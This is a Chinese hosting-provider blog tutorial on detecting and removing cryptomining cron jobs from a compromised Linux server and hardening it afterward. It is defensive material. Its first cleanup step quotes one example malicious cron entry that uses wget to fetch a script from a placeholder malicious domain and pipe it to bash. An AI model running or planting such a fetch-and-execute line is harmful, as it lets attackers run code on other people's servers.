跨境独立站服务器挖矿定时任务彻底清除:从发现到根除的完整步骤

跨境独立站服务器挖矿定时任务彻底清除:从发现到根除的完整步骤

如果你的独立站服务器突然 CPU 飙升、网站变慢、带宽异常跑满,很可能是被植入了挖矿程序,而且通常通过定时任务(cron)持续复活。
本文会帮你一步步揪出残留的挖矿定时任务,彻底清理,并加固系统防止复发。

挖矿定时任务是怎么进来的

攻击者常利用旧版系统或面板的漏洞、弱密码(例如 root 或宝塔后台弱口令)远程登录后,写入一个 cron 任务:每隔几分钟下载并执行一次挖矿脚本。
即使你杀掉了进程,定时任务会再次拉取新脚本运行,所以必须先清除定时任务

常见的特征:

  • /etc/crontab/var/spool/cron/ 下出现未知条目
  • 命令中包含 wget、curl 拉取陌生 URL,或执行 base64 编码的字符串
  • 用户名异常(如 www、nobody 或乱码字符)

清除前必须做的准备

操作前先备份,避免误删正常任务

# 备份当前所有用户的 crontab
mkdir -p /root/cron_bak
crontab -l > /root/cron_bak/root_cron_$(date +%Y%m%d%H%M).bak
# 备份系统 crontab
cp /etc/crontab /root/cron_bak/etc_crontab.bak
# 列出所有用户的定时任务目录文件列表
ls -la /var/spool/cron/ > /root/cron_bak/spool_list.txt

如果你使用的是宝塔面板,先进入后台左侧「计划任务」,检查是否有不明任务(尤其是“Shell脚本”类型且内容包含陌生链接的)。不要直接删除,截图或复制内容留底再处理。

一步步清理挖矿定时任务

1. 检查系统级定时任务

cat /etc/crontab

看是否有类似这样的异常条目:

*/5 * * * * root /usr/bin/wget -q -O - http://恶意域名/update.sh | bash

如有,直接注释或删除该行:

vim /etc/crontab   # 编辑,按 i 插入,在行首加 # 注释或删除整行,按 :wq 保存退出

2. 检查各用户的 cron 任务

# 列出所有非空用户的 crontab
for user in $(cut -d: -f1 /etc/passwd); do echo "=== 用户: $user ==="; crontab -u $user -l 2>/dev/null; done

如果输出中出现乱码、陌生 URL、base64 解码等异常,记录下该用户,然后执行:

crontab -u 用户名 -r   # 清空该用户全部定时任务(谨慎操作,确保没有正常任务)

3. 检查 crond 引用的隐藏文件

有些挖矿脚本会把定时任务写入 /etc/cron.d//etc/cron.hourly/ 等目录。
检查:

ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

发现可疑文件(比如名字是乱码或 .xxxx 隐藏文件),用 cat 查看内容确认后删除:

rm -f /etc/cron.d/可疑文件名

4. 检查定时任务触发的木马文件

挖矿定时任务通常会引向一个脚本,脚本又会下载主程序。
通过定时任务里的 URL 反查可以找到这些文件。
常见路径:

  • /tmp/ 下大量乱名文件
  • /var/tmp/ 下异常文件
  • /usr/local/bin//usr/bin/ 下被替换的常见命令(比如 topps

使用 find 命令搜索修改时间近、体积可疑的文件:

find /tmp /var/tmp /dev/shm -type f -exec ls -la {} \; 2>/dev/null | grep -v "^总用量"

对可疑文件先 chattr -i 去掉隐藏属性再删除。

常见残留和二次清理

挖矿脚本会在多个位置写入启动项,防止一次清理不彻底:

  • /etc/rc.local/etc/rc.d/rc.local:检查 exit 0 之前有没有陌生命令
  • ~/.ssh/authorized_keys:攻击者可能加了公钥,方便后续 ssh 登录
  • 系统环境变量:例如 /etc/profile/root/.bashrc 中被注入 aliasexport 指向恶意文件

执行一次全盘扫描:

grep -r "恶意域名" /etc/ /root/ /var/spool/ /opt/ /usr/local/ 2>/dev/null

替换为实际被拉取的域名。

清理后的加固与验证

验证是否彻底清除

  1. 重启 crond 服务:
systemctl restart crond    # CentOS / Ubuntu 均可
  1. 运行 tophtop,观察 CPU 是否回落到正常水平(独立站通常 5% 以下)。
  2. 等 10 分钟后再次执行 crontab -l 检查是否再次出现异常任务。

防止再次被入侵

  • 修改所有密码:root、MySQL、宝塔后台、FTP、SSH 密钥,使用 12 位以上包含特殊字符的密码。
  • 更新面板和系统:宝塔面板及时升级;apt update && apt upgrade(Ubuntu)或 yum update(CentOS)。
  • 限制 SSH 登录:只允许密钥登录,禁止 root 密码登录(修改 /etc/ssh/sshd_config)。
  • 安装安全插件:宝塔面板可以直接安装「宝塔系统加固」、「Nginx 防火墙」等插件。

高频问题解答

Q:定时任务删了又出现怎么办?
A:说明还有其他用户或服务在写定时任务。重复执行“检查各用户cron”步骤,重点查 www 用户和 apache/nginx 运行用户,同时检查 /var/spool/cron/crontabs/ 下是否有隐藏文件。

Q:宝塔面板里没有定时任务,但 CPU 高怎么办?
A:因为挖矿脚本可能不在宝塔管理的计划任务里,而是通过系统 crontab 直接写入。按本文第1-3步系统级排查。

Q:清除后网站文件会不会丢失?
A:清除定时任务和挖矿文件不会影响网站数据。但如果攻击者修改过网站代码(比如在 index.php 里插入了后门),建议重新下载官方源码覆盖或使用备份恢复。

如果你的跨境独立站服务器再次出现类似症状,建议回到第一步重新执行全套流程,同时检查是否有未关闭的弱口令端口。
彻底清理后,别忘了将本文的加固措施逐步落实,防止下次再被“光顾”。

分享到:
上一篇
家用住宅主机FRP内网穿透外网访问NAS文件
下一篇
外贸站宝塔面板批量修改数据库密码安全加固实战指南
1
系统公告

机房迁移升级通知

尊敬的用户: IP 段 103.23.148.x、156.224.29.x 原香港一区线路波动、攻击频繁,平台定于 7 月 5 日凌晨分批迁移至香港 GIA 机房,硬件升级 AMD 铂金机型。 迁移均在凌晨操作,最大程度降低业务影响,迁移期间服务器临时关机; 升级后配置不降低、费用不涨价,数据默认同步迁移; 迁移后 IP 全部更换,请及时修改域名解析、防火墙白名单; 建议提前备份重要数据,有问题可联系在线客服。 感谢理解与支持! 泽御云科技 2026.06.30
服务中心
客服
在线客服
24小时为您服务
咨询
联系我们
联系我们,为您的业务提供专属服务。
24/7 技术支持
如果您遇到寻求进一步的帮助,请过工单与我们进行联系。
24/7 即时支持
泽御云
售前客服
泽御云
泽御云
售后客服
泽御云
技术支持
评价
您对当前页面的整体感受是否满意?
😞
非常不满意
😕
不满意
😐
一般
🙂
满意
😊
非常满意